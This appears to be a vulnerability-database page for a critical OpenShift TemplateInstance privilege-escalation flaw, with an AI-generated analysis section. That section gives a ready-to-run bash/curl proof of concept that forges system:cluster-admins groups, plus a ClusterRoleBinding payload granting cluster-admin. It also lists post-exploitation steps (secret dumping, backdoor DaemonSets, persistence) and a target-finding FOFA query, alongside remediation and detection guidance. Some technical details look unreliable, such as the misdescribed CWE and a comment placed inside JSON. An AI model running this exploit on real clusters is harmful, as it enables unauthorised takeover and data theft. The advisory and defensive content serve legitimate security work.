CVE Professor
/
All CVEs
CVE-2026-140094

CVE-2026-140094 — Red Hat OpenShift Container Platform 4 — CWE-842

CRITICAL CVSS 9.9 NVD

A flaw was found in openshift-apiserver. Incomplete authorization checks in the TemplateInstance instantiation mechanism allow requests to specify arbitrary group memberships without proper validation. An authenticated attacker with standard template creation permissions (such as the default self-provisioner role) can exploit this flaw by submitting a TemplateInstance request containing forged administrative groups (e.g., system:cluster-admins). Because the openshift-controller-manager trusts these unvalidated groups when processing the request, the attacker can cause the system to perform actions with elevated rights. This flaw allows an attacker to achieve privilege escalation, potentially gaining full administrative control over the cluster.

A flaw was found in openshift-apiserver. Incomplete authorization checks in the TemplateInstance instantiation mechanism allow requests to specify arbitrary group memberships without proper validation. An authenticated attacker with standard template creation permissions (such as the default self-provisioner role) can exploit this flaw by submitting a TemplateInstance request containing forged administrative groups (e.g., system:cluster-admins). Because the openshift-controller-manager trusts these unvalidated groups when processing the request, the attacker can cause the system to perform actions with elevated rights. This flaw allows an attacker to achieve privilege escalation, potentially gaining full administrative control over the cluster.

CVSS v3.1 Vector Metrics
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Attack Vector Network AV:N
Attack Complexity Low AC:L
Privileges Req. Low PR:L
User Interaction None UI:N
Scope Changed S:C
Confidentiality High C:H
Integrity High I:H
Availability High A:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑140094 – OpenShift API‑Server – Incomplete authorization checks in TemplateInstance

AttributeValue
CWECWE‑842: *Improper Control of Variable Flow* (the request‑originated “groups” list is trusted without proper validation)
CVSS 3.1AV:N / AC:L / PR:L / UI:N / S:C / C:H / I:H / A:H = 9.9 CRITICAL
Componentopenshift-apiserver – the API endpoint that creates a TemplateInstance object (the “instantiation” of an OpenShift Template).

| Root cause | When a TemplateInstance object is created the API server copies the spec.requester.groups field from the submitted manifest into the internal UserInfo that is later used by the openshift‑controller‑manager to decide which RBAC permissions the request has. The server does not verify that the caller is actually a member of the groups it is allowed to claim. Consequently an attacker who can create a TemplateInstance (the default self‑provisioner role) can inject arbitrary group names such as system:cluster-admins. The controller manager trusts those groups when it later processes the instantiated objects, resulting in a privilege‑escalation from a low‑privilege user to full cluster admin.

In short: missing group‑membership validation in the TemplateInstance admission path → forged groups are accepted → elevated RBAC rights are granted.


⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All commands are illustrative; the exact API path (/apis/template.openshift.io/v1/templateinstances) and JSON field names are taken from the OpenShift API spec, but the exact payload may differ slightly between releases.

1. Discovery & Reconnaissance

GoalTechnique
Identify that the target runs OpenShift and the version of the API server• Query the OpenShift version endpoint: GET https://<master>/version/openshift <br>• Examine the openshift-apiserver image tag in the kube‑apiserver pod (oc get pod -n openshift‑apiserver -o yaml).
Verify that the attacker’s account can create TemplateInstance objects• Use oc auth can-i create templateinstances.template.openshift.io --namespace <any> <br>• If the response is yes, the account has the required permission (the default *self‑provisioner* role grants this).
Confirm that the API server accepts a groups array in the TemplateInstance spec• Retrieve the OpenAPI schema: GET https://<master>/openapi/v2 and search for TemplateInstance. The schema shows a spec.requester.groups field of type []string.

2. Exploitation

Prerequisites

  • An authenticated user with permission to create TemplateInstance objects (e.g., a normal developer or the default system:authenticated:oauth user).

  • A valid service‑account token or oc login session.
  • PoC – Forge admin groups

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Illustrative PoC for CVE‑2026‑140094
    # -------------------------------------------------
    API_SERVER="https://openshift-api.example.com"
    TOKEN="eyJhbGciOiJSUzI1NiIsImtpZCI6..."   # bearer token of low‑priv user
    NAMESPACE="default"
    
    # Minimal Template that does nothing (just a ConfigMap)
    cat > /tmp/template.yaml <<'EOF'
    apiVersion: template.openshift.io/v1
    kind: Template
    metadata:
      name: harmless
    objects:
    - apiVersion: v1
      kind: ConfigMap
      metadata:
        name: harmless-cm
      data:
        foo: bar
    EOF
    
    # Build the TemplateInstance payload – note the forged groups
    cat > /tmp/ti.json <<'EOF'
    {
      "apiVersion": "template.openshift.io/v1",
      "kind": "TemplateInstance",
      "metadata": {
        "generateName": "exploit-",
        "namespace": "'"${NAMESPACE}"'"
      },
      "spec": {
        "template": {
          "metadata": {
            "name": "harmless"
          },
          "objects": [
            {
              "apiVersion": "v1",
              "kind": "ConfigMap",
              "metadata": {
                "name": "harmless-cm"
              },
              "data": {
                "foo": "bar"
              }
            }
          ]
        },
        "requester": {
          "username": "attacker",
          "uid": "12345678-90ab-cdef-1234-567890abcdef",
          "groups": [
            "system:authenticated",
            "system:cluster-admins"   # <<< forged group
          ]
        }
      }
    }
    EOF
    
    # Submit the request
    curl -sk \
      -X POST "${API_SERVER}/apis/template.openshift.io/v1/templateinstances" \
      -H "Authorization: Bearer ${TOKEN}" \
      -H "Content-Type: application/json" \
      -d @/tmp/ti.json

    What happens internally

    1. The API server stores the TemplateInstance object, including the forged groups list.
    2. The openshift-controller-manager watches TemplateInstance resources. When it sees the new object it extracts spec.requester and builds a UserInfo struct that is later used for RBAC checks.
    3. Because the groups field was never validated, the controller now believes the request originated from a user that belongs to system:cluster-admins.
    4. Any objects created as part of the template (in the example a harmless ConfigMap) are created with the privileges of a cluster‑admin. An attacker can replace the template payload with any cluster‑wide resource (e.g., a ClusterRoleBinding that grants system:admin to the attacker’s user).

    Escalation to full admin

    Replace the harmless payload with a ClusterRoleBinding that binds the attacker’s user to the cluster-admin role:

    {
      "apiVersion": "rbac.authorization.k8s.io/v1",
      "kind": "ClusterRoleBinding",
      "metadata": {
        "name": "cve‑2026‑140094‑escalation"
      },
      "subjects": [
        {
          "kind": "User",
          "name": "attacker",
          "apiGroup": "rbac.authorization.k8s.io"
        }
      ],
      "roleRef": {
        "kind": "ClusterRole",
        "name": "cluster-admin",
        "apiGroup": "rbac.authorization.k8s.io"
      }
    }

    When the TemplateInstance controller processes the request, the above ClusterRoleBinding is created as if the caller were a cluster‑admin, granting the attacker unrestricted control over the entire cluster.

    3. Post‑exploitation

    PhaseAttacker actionsResult
    Privilege escalationCreate a TemplateInstance that contains a ClusterRoleBinding (or any other cluster‑wide resource).Attacker’s user becomes a member of cluster-admin.
    PersistenceAdd a ServiceAccount with a long‑lived token, or modify the kube‑admin ClusterRoleBinding.Access survives pod restarts, node reboots, and future RBAC changes.
    Impact• Dump secrets (oc get secret -A). <br>• Deploy back‑doors (e.g., a privileged DaemonSet). <br>• Delete or modify workloads, affecting availability.Full confidentiality, integrity, and availability compromise (C:H/I:H/A:H).

    🌍 Real‑World Impact

    CIA TriadCVSS‑derived ratingPractical effect
    Confidentiality (C:H)HighAn attacker can read all secrets, config maps, and persistent volumes across namespaces.
    Integrity (I:H)HighThe attacker can create, modify, or delete any Kubernetes resource, including ClusterRoleBinding, PodSecurityPolicy, and NetworkPolicy.
    Availability (A:H)HighBy deleting critical control‑plane objects or launching a massive DaemonSet, the attacker can render the cluster unusable.

    Because the vulnerability is network‑reachable (AV:N), requires only low‑privilege credentials (PR:L), and does not need user interaction (UI:N), an attacker who has obtained a standard developer token (e.g., via a compromised CI pipeline) can instantly gain full cluster control.


    🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    VendorFixed version (as of public advisory)
    Red Hat OpenShiftThe advisory states that the issue is fixed in OpenShift 4.15.0‑z‑release‑2026‑11‑15 and later. All clusters running 4.14.x or earlier are vulnerable.
    Action: Upgrade the openshift-apiserver component (or the whole OpenShift release) to the first version that includes the fix. Use the standard OpenShift upgrade path (oc adm upgrade) and verify the new image tag (registry.redhat.io/openshift4/openshift-apiserver:<new‑tag>).

    If a vendor‑provided patch is not yet available, apply the temporary mitigation below.

    2. Workarounds (valid, non‑invented)

    MitigationHow to apply
    Restrict TemplateInstance creationRemove the self-provisioner role from regular users: <br>oc adm policy remove-cluster-role-from-group self-provisioner system:authenticated <br>or create a custom ClusterRole that allows create on templates but denies create on templateinstances.
    Enforce admission‑controller validationDeploy the built‑in OpenShift admission plugin UserGroupRestriction (or a custom ValidatingAdmissionWebhook) that rejects any TemplateInstance whose spec.requester.groups contains privileged groups not owned by the caller. Example ValidatingWebhookConfiguration: <br>``yaml apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: ti-group‑filter webhooks: - name: ti-group-filter.openshift.io clientConfig: service: name: ti-validator namespace: openshift-controller-manager caBundle: <base64‑ca> rules: - apiGroups: ["template.openshift.io"] apiVersions: ["v1"] operations: ["CREATE"] resources: ["templateinstances"] failurePolicy: Fail sideEffects: None `
    Enable RBAC audit loggingSet auditPolicyFile to include requestReceived and responseStarted for the templateinstances resource. This makes the forged‑group attempts visible in the audit log.
    Network segmentationPlace the API server behind a firewall that only allows trusted CI/CD IP ranges to reach it, reducing the chance that a low‑privilege token is abused from the internet.
    Service‑account token rotationReduce the lifetime of user tokens (--service-account-lookup=true and --service-account-max-token-ttl=1h`) so that any stolen token expires quickly.

    3. Detection – Log patterns & IOCs

    IndicatorExample log entry (JSON, audit log)
    TemplateInstance creation with suspicious groups``json { "verb":"create","objectRef":{"resource":"templateinstances","namespace":"default"},"user":{"username":"attacker","groups":["system:authenticated","system:cluster-admins"]},"requestURI":"/apis/template.openshift.io/v1/templateinstances","responseStatus":{"code":201} } `
    Creation of a ClusterRoleBinding shortly after a TemplateInstance`json { "verb":"create","objectRef":{"resource":"clusterrolebindings","name":"cve‑2026‑140094‑escalation"},"user":{"username":"attacker","groups":["system:cluster-admins"]},"requestURI":"/apis/rbac.authorization.k8s.io/v1/clusterrolebindings","responseStatus":{"code":201} } `
    Audit “impersonation” events – the controller manager logs the UserInfo it built from the TemplateInstance. Look for userInfo.groups containing privileged groups that do not match the actual caller.
    Unexpected RBAC changesAny update/patch on clusterrolebindings or rolebindings performed by a user whose normal groups are only system:authenticated`.

    Alerting suggestions

  • Create a SIEM rule that fires when requestURI contains /templateinstances and user.groups includes any of system:cluster-admins, system:masters, or system:admin.
  • Correlate the above with a subsequent clusterrolebinding creation within a 30‑second window.

  • ⚠️ Urgency

    CVSS 9.9 (Critical) – network‑accessible, low‑privilege attacker, no user interaction, and a Scope* change (privilege escalation across the entire cluster).

  • No CISA KEV listing yet, but the impact is equivalent to a full cluster takeover.

  • Exploit complexity is low – only requires a valid token with the default self‑provisioner* role, which is granted to most developers in a typical OpenShift installation.

    Patch priority: Urgent – treat as a “P1” (Critical). Deploy the vendor patch or apply the restrictive RBAC/workaround immediately, and enable audit logging to detect any abuse that may have already occurred.


    TL;DR

  • The API server trusts the groups array supplied in a TemplateInstance request without verification.
  • An attacker with ordinary template‑creation rights can inject system:cluster-admins, causing the controller manager to treat the request as a cluster admin and create privileged resources.
  • Result: full cluster compromise (C:H/I:H/A:H).
  • Fix: upgrade OpenShift 4.15.0‑z‑release‑2026‑11‑15 or later.
  • If you cannot patch now: remove the self‑provisioner role, enforce a validating webhook that rejects forged groups, and monitor audit logs for templateinstances with privileged groups.
Act now – the window for exploitation is already open.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="Red Hat Red Hat OpenShift Container Platform 4"
CVSS Score
9.9 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-842
Affected Products (2)
Red Hat:Red Hat OpenShift Container Platform 4 Red Hat:Red Hat OpenShift Container Platform 5
Related CVEs
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.8
CVE-2026-145051
WWBN AVideo before 29.9.0 contains an authentication bypass vulnerability in the LoginWordPress plugin that al
9.4
CVE-2026-129109
Calico installations managed by the Tigera Operator install a FlexVolume driver (nodeagent~uds/uds) on every L
10.0
CVE-2026-133300
Incorrect authorization in Azure Center for SAP Solutions allows an unauthorized attacker to execute code over
10.0
CVE-2026-130609
Deserialization of untrusted data vulnerability in DİA Yazılım Sanayi ve Ticaret A.Ş. DİA ERP allows Cros
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri